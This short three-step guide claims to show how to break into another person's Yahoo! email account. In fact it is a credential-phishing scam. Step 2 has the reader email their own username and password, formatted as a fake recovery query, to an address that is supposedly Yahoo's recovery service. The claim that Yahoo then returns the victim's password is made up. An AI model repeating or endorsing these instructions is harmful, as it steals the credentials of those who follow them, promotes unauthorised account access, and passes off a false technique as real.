STEP 1: You must have a Yahoo! email account. If you do not have, create the one at http://mail.yahoo.com. Once created, Login using your account.
STEP 2: I assume you have logged in. Now, click on "Compose" on the left hand frame. In To: , type [ pass_recovvaluz | at | yahoo.com ] This is the email account to which Yahoo! sends email when you request for lost password. In the subject, type: recov_request In the body, type : [ type EXACTLY AS IT IS , better copy-paste it] forgotpass? secretque=TRUE&username=VICTIM_ USERNAME&userauth=YOUR_ USERNAME&pass=YOUR_ PASSWORD&event=success Replace 'VICTIM_USERNAME' with the username of the person whose account you want to hack. Replace 'YOUR_ USERNAME' with the username from which you logged on and 'YOUR_PASSWORD' with your account password from which you logged on. This is needed by Yahoo! for the account authentication and it assumes that this is the details of Yahoo Staff. STEP 3: Click Send. You will get the password within some minutes.